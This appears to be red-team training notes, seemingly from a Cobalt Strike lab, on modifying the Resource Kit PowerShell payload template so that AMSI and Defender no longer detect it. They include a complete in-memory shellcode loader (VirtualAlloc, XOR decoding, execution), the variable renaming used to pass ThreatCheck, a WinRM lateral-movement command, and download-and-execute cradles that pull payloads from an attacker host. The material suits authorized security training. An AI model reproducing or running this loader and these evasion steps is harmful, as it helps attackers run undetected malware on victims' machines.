Resource Kit Changes
Last updated
Last updated
To make this change permanent across all the PowerShell payloads, we can modify the relevant template in the Resource Kit. Where the Artifact Kit was used to modify the binary artifacts; the Resource Kit is used to modify the script-based artifacts including the PowerShell, Python, HTA and VBA payloads.
The Resource Kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\resource
and the 64-bit stageless PowerShell payload is generated from template.x64.ps1
.
The Antimalware Scan Interface (AMSI) is a component of Windows which allows applications to integrate themselves with an antivirus engine by providing a consumable, language agnostic interface. It was designed to tackle "fileless" malware that was so heavily popularised by tools like the EmpireProject, which leveraged PowerShell for complete in-memory C2.
Any 3rd party application can use AMSI to scan user input for malicious content. Many Windows components now use AMSI including PowerShell, the Windows Script Host, JavaScript, VBScript and VBA. If we try to execute one of the PowerShell payloads on our attacking machine, it will get blocked.
PS C:\Users\Attacker> C:\Payloads\smb_x64.ps1
At C:\Payloads\smb_x64.ps1:1 char:1
+ Set-StrictMode -Version 2
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
The alert that Defender produces is tagged with amsi:
rather than file:
, indicating that something malicious was detected in memory.
And attempting to move laterally to the file server will also fail.
beacon> jump winrm64 fs.dev.cyberbotic.io smb
[-] Could not connect to pipe: 2 - ERROR_FILE_NOT_FOUND
[+] received output:
#< CLIXML
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><S S="Error">At line:1 char:1_x000D__x000A_</S><S S="Error">+ Set-StrictMode -Version 2_x000D__x000A_</S><S S="Error">+ ~~~~~~~~~~~~~~~~~~~~~~~~~~_x000D__x000A_</S><S S="Error">This script contains malicious content and has been blocked by your antivirus software._x000D__x000A_</S><S S="Error"> + CategoryInfo : ParserError: (:) [], ParseException_x000D__x000A_</S><S S="Error"> + FullyQualifiedErrorId : ScriptContainedMaliciousContent_x000D__x000A_</S><S S="Error"> + PSComputerName : fs.dev.cyberbotic.io_x000D__x000A_</S><S S="Error"> _x000D__x000A_</S></Objs>
Even though this is in-memory, the detections are still based on "known bad" signatures. PowerShell files are a little easier to analyse compared to binary files - scanning it with ThreatCheck and the -e amsi
parameter will reveal the bad strings.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e amsi
[+] Target file size: 358025 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x57450
00000000 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000010 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000020 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000030 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000040 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000050 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000060 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000070 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000080 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
00000090 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 4D 6A 49 79 MjIyMjIyMjIyMjIy
000000A0 4D 6A 49 79 4D 6A 49 77 3D 3D 27 29 0A 0A 09 66 MjIyMjIw==')···f
000000B0 6F 72 20 28 24 78 20 3D 20 30 3B 20 24 78 20 2D or ($x = 0; $x -
000000C0 6C 74 20 24 76 61 72 5F 63 6F 64 65 2E 43 6F 75 lt $var_code.Cou
000000D0 6E 74 3B 20 24 78 2B 2B 29 20 7B 0A 09 24 76 61 nt; $x++) {··$va
000000E0 72 5F 63 6F 64 65 5B 24 78 5D 20 3D 20 24 76 61 r_code[$x] = $va
000000F0 72 5F 63 6F 64 65 5B 24 78 5D 20 2D 62 78 6F 72 r_code[$x] -bxor
[*] Run time: 3.13s
Ensure real-time protection is enabled in Defender before running ThreatCheck against script artifacts.
The portion of the output that we want to pay attention to is the loop, which is on lines 26-28 of smb_x64.ps1
.
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
As a quick test, use the find & replace in an editor such as VSCode to change the $x
and $var_code
variable names to something else, e.g:
for ($i = 0; $i -lt $enc.Count; $i++) {
$enc[$i] = $enc[$i] -bxor 35
}
ThreatCheck now reports the payload as clean.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e amsi
[+] No threat found!
[*] Run time: 0.34s
To make this change permanent across all the PowerShell payloads, we can modify the relevant template in the Resource Kit. Where the Artifact Kit was used to modify the binary artifacts; the Resource Kit is used to modify the script-based artifacts including the PowerShell, Python, HTA and VBA payloads. The Resource Kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\resource
and the 64-bit stageless PowerShell payload is generated from template.x64.ps1
.
Interestingly, if we check the content, Fortra have already provided different variable names - $zz
in place of $x
and $v_code
in place of $var_code
.
for ($zz = 0; $zz -lt $v_code.Count; $zz++) {
$v_code[$zz] = $v_code[$zz] -bxor 35
}
As before, use the included build script and specify an output directory, then load resources.cna
into Cobalt Strike.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/resource> ./build.sh /mnt/c/Tools/cobaltstrike/resources
[Resource Kit] [+] Copy the resource files
[Resource Kit] [+] Generate the resources.cna from the template file.
[Resource Kit] [+] The resource kit files are saved in '/mnt/c/Tools/cobaltstrike/resources'
One common source of confusion is when hosting PowerShell payloads using the Scripted Web Delivery method, as these will generally get caught when your stageless PowerShell payloads do not.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a")
IEX : At line:1 char:1
+ Set-StrictMode -Version 2
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:304409
+ ... WTtJBgA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
The reason for this is that it uses the compress.ps1
template instead, which decompresses the payload from a Gzip stream. In my (limited) experience, AMSI will flag almost anything as malicious if it sees a binary file coming out of a Gzip stream. Unless you have a specific requirement for using a compressed version, in which case you can re-work this template as well, the easiest workaround is to just host your stageless PowerShell payload directly via Site Management > Host File.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a2")
As before, use the included build script and specify an output directory, then load resources.cna
into Cobalt Strike.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/resource> ./build.sh /mnt/c/Tools/cobaltstrike/resources
Simply changing the variable names:
If ([IntPtr]::size -eq 8) {
[Byte[]]$vvv_cedo = [System.Convert]::FromBase64String('%%DATA%%')
for ($zeezee = 0; $zeezee -lt $vvv_cedo.Count; $zeezee++) {
$vvv_cedo[$zeezee] = $vvv_cedo[$zeezee] -bxor 35
}
$vvv_cedo and $zeezee were changed the edited variables.
ThreatCheck now reports the payload as clean.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e amsi
[+] No threat found!
[*] Run time: 0.34s
Set-StrictMode -Version 2
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$vvv_cedo = [System.Convert]::FromBase64String('%%DATA%%')
for ($zeezee = 0; $zeezee -lt $vvv_cedo.Count; $zeezee++) {
$vvv_cedo[$zeezee] = $vvv_cedo[$zeezee] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $vvv_cedo.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($vvv_cedo, 0, $var_buffer, $vvv_cedo.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
One common source of confusion is when hosting PowerShell payloads using the Scripted Web Delivery method, as these will generally get caught when your stageless PowerShell payloads do not.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a")
IEX : At line:1 char:1
+ Set-StrictMode -Version 2
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:304409
+ ... WTtJBgA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
The reason for this is that it uses the compress.ps1
template instead, which decompresses the payload from a Gzip stream. In my (limited) experience, AMSI will flag almost anything as malicious if it sees a binary file coming out of a Gzip stream. Unless you have a specific requirement for using a compressed version, in which case you can re-work this template as well, the easiest workaround is to just host your stageless PowerShell payload directly via Site Management > Host File.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a2")